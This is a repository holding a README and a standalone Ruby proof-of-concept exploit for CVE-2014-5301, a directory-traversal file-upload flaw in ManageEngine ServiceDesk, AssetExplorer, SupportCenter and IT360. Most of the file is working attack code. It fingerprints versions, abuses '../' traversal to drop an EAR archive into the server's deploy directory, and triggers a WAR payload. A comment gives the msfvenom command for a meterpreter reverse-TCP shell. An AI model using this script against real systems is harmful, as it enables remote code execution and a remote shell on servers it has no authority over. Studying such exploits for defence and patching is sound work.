├── README.md └── me.rb /README.md: -------------------------------------------------------------------------------- 1 | ManageEngine Multiple Products Authenticated File Upload 2 | 3 | [CVE', '2014-5301'], 4 | ['OSVDB', '116733'], 5 | ['URL', 'http://seclists.org/fulldisclosure/2015/Jan/5'] 6 | 7 | Description from original exploit: 8 | This module exploits a directory traversal vulnerability in ManageEngine ServiceDesk, 9 | AssetExplorer, SupportCenter and IT360 when uploading attachment files. The JSP that accepts 10 | the upload does not handle correctly '../' sequences, which can be abused to write 11 | to the file system. Authentication is needed to exploit this vulnerability, but this module 12 | will attempt to login using the default credentials for the administrator and guest 13 | accounts. Alternatively, you can provide a pre-authenticated cookie or a username / password. 14 | For IT360 targets, enter the RPORT of the ServiceDesk instance (usually 8400). All 15 | versions of ServiceDesk prior v9 build 9031 (including MSP but excluding v4), AssetExplorer, 16 | SupportCenter and IT360 (including MSP) are vulnerable. At the time of release of this 17 | module, only ServiceDesk v9 has been fixed in build 9031 and above. This module has been 18 | been tested successfully in Windows and Linux on several versions. 19 | 20 | Ported by: Jeff Berry 21 | Tested on: MS Windows 2008 Server and ManageEngine Service Desk Plus 7.6.0 22 | -------------------------------------------------------------------------------- /me.rb: -------------------------------------------------------------------------------- 1 | # ManageEngine Multiple Products Authenticated File Upload 2 | # 3 | # [CVE', '2014-5301'], 4 | # ['OSVDB', '116733'], 5 | # ['URL', 'http://seclists.org/fulldisclosure/2015/Jan/5'] 6 | # 7 | # NOTE 1: This script is NOT a Metasplit Framework exploit module, but a standalone POC script exercise 8 | # NOTE 2: Please observe that this script uses some of the Metasploit REX libraries, but not the Metasploit framework libraries. 9 | # NOTE 3: This script is my first Ruby script and my first script using the Metasploit REX libraries (discovered after my start here) 10 | # NOTE 4: The ManageEngine Metasploit module was leveraged to create it (some comments are not mine) 11 | # NOTE 5: The Rex::MIME::Message.to_s method override may not work (or be needed) for all versions of the Rex::MIME::Message class. More 12 | # research/debug would be needed to determine the root cause(s) for the issue. In other words, the override may need to be removed or modified 13 | # depending on the version of your REX libraries. It was recommended a certain Kali instance be used in my case. 14 | # 15 | # Description from original exploit: 16 | # This module exploits a directory traversal vulnerability in ManageEngine ServiceDesk, 17 | # AssetExplorer, SupportCenter and IT360 when uploading attachment files. The JSP that accepts 18 | # the upload does not handle correctly '../' sequences, which can be abused to write 19 | # to the file system. Authentication is needed to exploit this vulnerability, but this module 20 | # will attempt to login using the default credentials for the administrator and guest 21 | # accounts. Alternatively, you can provide a pre-authenticated cookie or a username / password. 22 | # For IT360 targets, enter the RPORT of the ServiceDesk instance (usually 8400). All 23 | # versions of ServiceDesk prior v9 build 9031 (including MSP but excluding v4), AssetExplorer, 24 | # SupportCenter and IT360 (including MSP) are vulnerable. At the time of release of this 25 | # module, only ServiceDesk v9 has been fixed in build 9031 and above. This module has been 26 | # been tested successfully in Windows and Linux on several versions. 27 | # 28 | # Ported by: Jeff Berry 29 | # Tested on: MS Windows 2008 Server and ManageEngine Service Desk Plus 7.6.0 30 | 31 | require 'rubygems' 32 | require "net/http" 33 | require "net/http/requests" 34 | require "httpclient/util" 35 | require "rex/proto/http" 36 | require "rex/proto/http/client" 37 | require 'addressable/uri' 38 | require 'rex/zip' 39 | require 'rex/mime' 40 | require 'rex/text' 41 | 42 | $NetHTTPCall = 'False' 43 | $JSESSIONID = 'CEBA77FBE4BA1ABB9D511181CA0D7B98' #example machine required JSESSIONID to ManageEngine site 44 | $IPADDRESS = '192.168.0.2' 45 | $PORT = '8080' 46 | $IPADDRESSPORT = $IPADDRESS + ':' + $PORT 47 | $DOMAIN_NAME = nil 48 | $IAMAGENTTICKET = nil 49 | $my_target = nil 50 | 51 | # JB: This script requires exploit payload war file as input 52 | # msfvenom -p java/meterpreter/reverse_tcp LHOST= LPORT=4444 -f war > shell.war 53 | $warfile = 'shell.war' 54 | 55 | $targets = [ 56 | [ 'Automatic', { } ], 57 | [ 'ServiceDesk Plus v5-v7.1 < b7016/AssetExplorer v4/SupportCenter v5-v7.9', 58 | { 59 | 'attachment_path' => '/workorder/Attachment.jsp' 60 | } 61 | ], 62 | [ 'ServiceDesk Plus/Plus MSP v7.1 >= b7016 - v9.0 < b9031/AssetExplorer v5-v6.1', 63 | { 64 | 'attachment_path' => '/common/FileAttachment.jsp' 65 | } 66 | ], 67 | [ 'IT360 v8-v10.4', 68 | { 69 | 'attachment_path' => '/common/FileAttachment.jsp' 70 | } 71 | ] 72 | ] 73 | 74 | # JB: The Rex::MIME::Message class replaces CRLF strings for SMTP compatibility but it "corrupts" HTTP payload 75 | # An override was done on the Rex::MIME::Message.to_s method to comment it out. 76 | class MIMEMess < Rex::MIME::Message 77 | def to_s 78 | msg = self.header.to_s + "\r\n" 79 | 80 | if self.content and not self.content.empty? 81 | msg << self.content + "\r\n" 82 | end 83 | 84 | self.parts.each do |part| 85 | msg << "--" + self.bound + "\r\n" 86 | msg << part.to_s + "\r\n" 87 | end 88 | 89 | if self.parts.length > 0 90 | msg << "--" + self.bound + "--\r\n" 91 | end 92 | 93 | # JB: Commented since it corrupted the HTTP payload 94 | # Force CRLF for SMTP compatibility 95 | # msg.gsub("\r", '').gsub("\n", "\r\n") 96 | 97 | # JB: Replacement line for the code above 98 | msg.gsub("\r\n--_Part_","--_Part_") 99 | 100 | end 101 | end 102 | 103 | def get_version 104 | 105 | uri = URI('http://' + $IPADDRESSPORT) 106 | res = Net::HTTP.get_response(uri) 107 | 108 | # Major version, minor version, build and product (sd = servicedesk; ae = assetexplorer; sc = supportcenterl; it = it360) 109 | version = [ 9999, 9999, 0, 'sd' ] 110 | 111 | if res && res.code == 200 112 | if res.body.to_s =~ /ManageEngine ServiceDesk/ 113 | if res.body.to_s =~ /  \|  ([0-9]{1}\.{1}[0-9]{1}\.?[0-9]*)/ 114 | output = $1 115 | version = [output[0].to_i, output[2].to_i, '0', 'sd'] 116 | end 117 | if res.body.to_s =~ /src='\/scripts\/Login\.js\?([0-9]+)'><\/script>/ # newer builds 118 | version[2] = $1.to_i 119 | elsif res.body.to_s =~ /'\/style\/style\.css', '([0-9]+)'\);<\/script>/ # older builds 120 | version[2] = $1.to_i 121 | end 122 | elsif res.body.to_s =~ /ManageEngine AssetExplorer/ 123 | if res.body.to_s =~ /ManageEngine AssetExplorer  ([0-9]{1}\.{1}[0-9]{1}\.?[0-9]*)/ || 124 | res.body.to_s =~ /
version ([0-9]{1}\.{1}[0-9]{1}\.?[0-9]*)<\/div>/ 125 | output = $1 126 | version = [output[0].to_i, output[2].to_i, 0, 'ae'] 127 | end 128 | if res.body.to_s =~ /src="\/scripts\/ClientLogger\.js\?([0-9]+)"><\/script>/ 129 | version[2] = $1.to_i 130 | end 131 | elsif res.body.to_s =~ /ManageEngine SupportCenter Plus/ 132 | # All of the vulnerable sc installations are "old style", so we don't care about the major / minor version 133 | version[3] = 'sc' 134 | if res.body.to_s =~ /'\/style\/style\.css', '([0-9]+)'\);<\/script>/ 135 | # ... but get the build number if we can find it 136 | version[2] = $1.to_i 137 | end 138 | elsif res.body.to_s =~ /\/console\/ConsoleMain\.cc/ 139 | # IT360 newer versions 140 | version[3] = 'it' 141 | end 142 | elsif res && res.code == 302 && res.get_cookies.to_s =~ /$IAMAGENTTICKET([A-Z]{0,4})/ 143 | # IT360 older versions, not a very good detection string but there is no alternative? 144 | version[3] = 'it' 145 | end 146 | res = nil 147 | version 148 | end 149 | 150 | 151 | def check 152 | version = get_version 153 | # TODO: put fixed version on the two ifs below once (if...) products are fixed 154 | # sd was fixed on build 9031 155 | # ae and sc still not fixed 156 | if (version[0] <= 9 && version[0] > 4 && version[2] < 9031 && version[3] == 'sd') || 157 | (version[0] <= 6 && version[2] < 99999 && version[3] == 'ae') || 158 | (version[3] == 'sc' && version[2] < 99999) 159 | return 'Appears' 160 | end 161 | 162 | if (version[2] > 9030 && version[3] == 'sd') || 163 | (version[2] > 99999 && version[3] == 'ae') || 164 | (version[2] > 99999 && version[3] == 'sc') 165 | return 'Safe' 166 | else 167 | # An IT360 check always lands here, there is no way to get the version easily 168 | return 'Unknown' 169 | end 170 | end 171 | 172 | def pick_target 173 | # return target if target.name != 'Automatic' 174 | version = get_version 175 | if (version[0] <= 7 && version[2] < 7016 && version[3] == 'sd') || 176 | (version[0] == 4 && version[3] == 'ae') || 177 | (version[3] == 'sc') 178 | # These are all "old style" versions (sc is always old style) 179 | return $targets[1] 180 | elsif version[3] == 'it' 181 | return $targets[3] 182 | else 183 | return $targets[2] 184 | end 185 | end 186 | def print_status(msg = '') 187 | print_line("#{msg}") 188 | end 189 | def print_line(msg = '') 190 | print(msg + "\n") 191 | end 192 | 193 | def rand_text_alphanumeric(len, bad='') 194 | foo = [] 195 | foo += ('A' .. 'Z').to_a 196 | foo += ('a' .. 'z').to_a 197 | foo += ('0' .. '9').to_a 198 | rand_base(len, bad, *foo ) 199 | end 200 | 201 | def rand_base(len, bad, *foo) 202 | cset = (foo.join.unpack("C*") - bad.to_s.unpack("C*")).uniq 203 | return "" if cset.length == 0 204 | outp = [] 205 | len.times { outp << cset[rand(cset.length)] } 206 | outp.pack("C*") 207 | end 208 | 209 | def self.rand_text_alpha(len, bad='') 210 | foo = [] 211 | foo += ('A' .. 'Z').to_a 212 | foo += ('a' .. 'z').to_a 213 | rand_base(len, bad, *foo ) 214 | end 215 | 216 | def send_multipart_request(cookie, payload_name, payload_str) 217 | if payload_name =~ /\.ear/ 218 | upload_path = '../../server/default/deploy' 219 | else 220 | upload_path = rand_text_alpha(4+rand(4)) 221 | end 222 | 223 | post_data = MIMEMess.new 224 | b = post_data.bound.to_s 225 | h = post_data.header.to_s 226 | 227 | rname1 = Rex::Text.rand_text_alpha(4+rand(4)) 228 | 229 | if $my_target == $targets[1] 230 | # old style 231 | post_data.add_part(payload_str, 'application/octet-stream', 'binary', "form-data; name=\"#{rname1}\"; filename=\"#{payload_name}\"") 232 | post_data.add_part(payload_name, nil, nil, "form-data; name=\"filename\"") 233 | post_data.add_part('', nil, nil, "form-data; name=\"vecPath\"") 234 | post_data.add_part('', nil, nil, "form-data; name=\"vec\"") 235 | post_data.add_part('AttachFile', nil, nil, "form-data; name=\"theSubmit\"") 236 | post_data.add_part('WorkOrderForm', nil, nil, "form-data; name=\"formName\"") 237 | post_data.add_part(upload_path, nil, nil, "form-data; name=\"component\"") 238 | post_data.add_part('Attach', nil, nil, "form-data; name=\"ATTACH\"") 239 | else 240 | post_data.add_part(upload_path, nil, nil, "form-data; name=\"module\"") 241 | post_data.add_part(payload_str, 'application/octet-stream', 'binary', "form-data; name=\"#{rname1}\"; filename=\"#{payload_name}\"") 242 | post_data.add_part('', nil, nil, "form-data; name=\"att_desc\"") 243 | end 244 | data = post_data.to_s 245 | 246 | # JB: Code to data corruption in HTTP message to target which is related to Rex::MIME::Message.to_s method override above 247 | # It seemed wrong to remove even though the override takes care of the issue 248 | # Wireshark is a handy tool if you have the patience to debug TCP messages ;) 249 | ############################################################################################################################## 250 | # att_desc_string = "--" + b + "\r\nContent-Disposition: form-data; name=\"att_desc\"" 251 | 252 | # By itself, this line allows http upload to complete on target machine but file is corrupted (will not extract with "Jar xvf" app or Windows uncompress file command) 253 | #data = data.gsub("\r\n--_Part_","--_Part_") 254 | 255 | # By itself, this line does not allow http upload to complete; targets start characters of form variable which is after the upload file data to remove line feed and carriage return 256 | #data = data.gsub("\r\n" + att_desc_string, att_desc_string) 257 | ############################################################################################################################## 258 | 259 | header = ({'User-Agent' =>'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)', "Cookie" => cookie, 'Accept-Encoding' => '*', 'Connection' => 'keep-alive', 'Content-Type' => "multipart/form-data; boundary=#{b}" }) #, "Content-Length" => "2050", 'Accept-Encoding' => '*', 'Accept' => 'undefined', 'Accept-Encoding' => 'undefined' 260 | 261 | if $NetHTTPCall == 'True' 262 | 263 | uri = URI.parse('http://' + $IPADDRESSPORT + $my_target[1]["attachment_path"]) 264 | req = Net::HTTP::Post.new(uri.request_uri, header) 265 | req.body = data 266 | reqbody = req.body 267 | reqbodylen = reqbody.bytesize 268 | strreqbodylen = reqbodylen.to_s 269 | 270 | res = http.request(req) 271 | 272 | else 273 | print_status('send_request_cgi called') 274 | 275 | uri = URI.parse($my_target[1]["attachment_path"]) 276 | cli = Rex::Proto::Http::Client.new($IPADDRESS, $PORT, {}, nil, nil, nil) 277 | cli.connect 278 | req = cli.request_cgi({ 279 | 'uri'=> 'http://' + $IPADDRESSPORT + $my_target[1]["attachment_path"], 280 | 'method' => 'POST', 281 | 'data' => data, 282 | 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", 283 | 'cookie' => cookie 284 | }) 285 | res = cli.send_recv(req) 286 | cli.close 287 | 288 | end 289 | 290 | return res 291 | end 292 | 293 | # Start of main 294 | checkstatus = check 295 | print_status(checkstatus) 296 | 297 | print_status("Selecting target...") 298 | $my_target = pick_target 299 | print_status("$my_target=" + $my_target.to_s) 300 | 301 | # Do we already have a valid cookie? If yes, just return that. 302 | if $JSESSIONID != nil 303 | cookie = 'JSESSIONID=' + $JSESSIONID.to_s + ';' 304 | end 305 | 306 | print_status(cookie) 307 | 308 | if cookie.nil? 309 | fail_with(Failure::Unknown, "#{peer} - Failed to authenticate") 310 | end 311 | 312 | #Random text strings 313 | rts1 = rand_text_alphanumeric(4 + rand(32 - 4)) # war_app_base 314 | rts2 = rand_text_alphanumeric(4 + rand(32 - 4)) # ear_app_base 315 | rts3 = rand_text_alphanumeric(4 + rand(32 - 4)) # display-name 316 | rts4 = rand_text_alphanumeric(4 + rand(32 - 4)) # ear_file_name 317 | rts5 = rand_text_alphanumeric(4 + rand(32 - 4)) # send_multipart_request var2 318 | rts6 = rand_text_alphanumeric(4 + rand(32 - 4)) # send_multipart_request var3 319 | rts7 = Rex::Text.rand_text_alpha(rand(8)+8) # uri var3 320 | 321 | # First we generate the WAR with the payload... 322 | war_app_base = rts1 323 | 324 | # Read in the war file created by msfvenom 325 | file = File.open($warfile, "rb") 326 | war_payload = file.read.to_s 327 | 328 | # ... and then we create an EAR file that will contain it. 329 | ear_app_base = rts2 330 | app_xml = "" 331 | app_xml << '' 332 | app_xml << "#{rts3}" 333 | app_xml << "#{war_app_base + ".war"}" 334 | app_xml << "/#{ear_app_base}" 335 | 336 | # Zipping with CM_STORE to avoid errors while decompressing the zip 337 | # in the Java vulnerable application 338 | ear_file = Rex::Zip::Archive.new(Rex::Zip::CM_STORE) 339 | ear_file.add_file(war_app_base + '.war', war_payload.to_s) 340 | ear_file.add_file('META-INF/application.xml', app_xml) 341 | ear_file_name = rts4 + '.ear' 342 | 343 | # For debug of ear file 344 | #File.open('codewar.ear', 'wb') { |file| file.write(ear_file.pack) } 345 | 346 | if $my_target != $targets[3] 347 | # Linux doesn't like it when we traverse non existing directories, 348 | # so let's create them by sending some random data before the EAR. 349 | # (IT360 does not have a Linux version so we skip the bogus file for it) 350 | print_status("Uploading bogus file...") 351 | res = send_multipart_request(cookie, rts5, rts6) 352 | print_status('res.code=' + res.code.to_s) 353 | if res.code.to_s != '200' 354 | print_status("Bogus file upload failed") 355 | end 356 | end 357 | 358 | # Now send the actual payload 359 | print_status("Uploading EAR file...") 360 | res = send_multipart_request(cookie, ear_file_name, ear_file.pack) 361 | print_status('res.code=' + res.code.to_s) 362 | 363 | if res.code.to_s == '200' 364 | print_status("Upload appears to have been successful") 365 | else 366 | print_status("EAR upload failed") 367 | end 368 | 369 | 10.times do 370 | select(nil, nil, nil, 2) 371 | 372 | # Now make a request to trigger the newly deployed war 373 | print_status("Attempting to launch payload in deployed WAR...") 374 | 375 | uri = URI.parse('http://' + $IPADDRESSPORT + "/" + ear_app_base + "/" + war_app_base + "/" + rts7) 376 | req = Net::HTTP::Get.new(uri) 377 | req['Content-Type'] = 'application/x-www-form-urlencoded' 378 | req['User-Agent'] = 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)' 379 | 380 | res = Net::HTTP.start(uri.hostname, uri.port) {|http| 381 | http.request(req) 382 | } 383 | 384 | print_status('res.code=' + res.code.to_s) 385 | # Failure. The request timed out or the server went away. 386 | break if res.nil? 387 | # Success! Triggered the payload, should have a shell incoming 388 | break if res.code.to_s == '200' 389 | end 390 | 391 | --------------------------------------------------------------------------------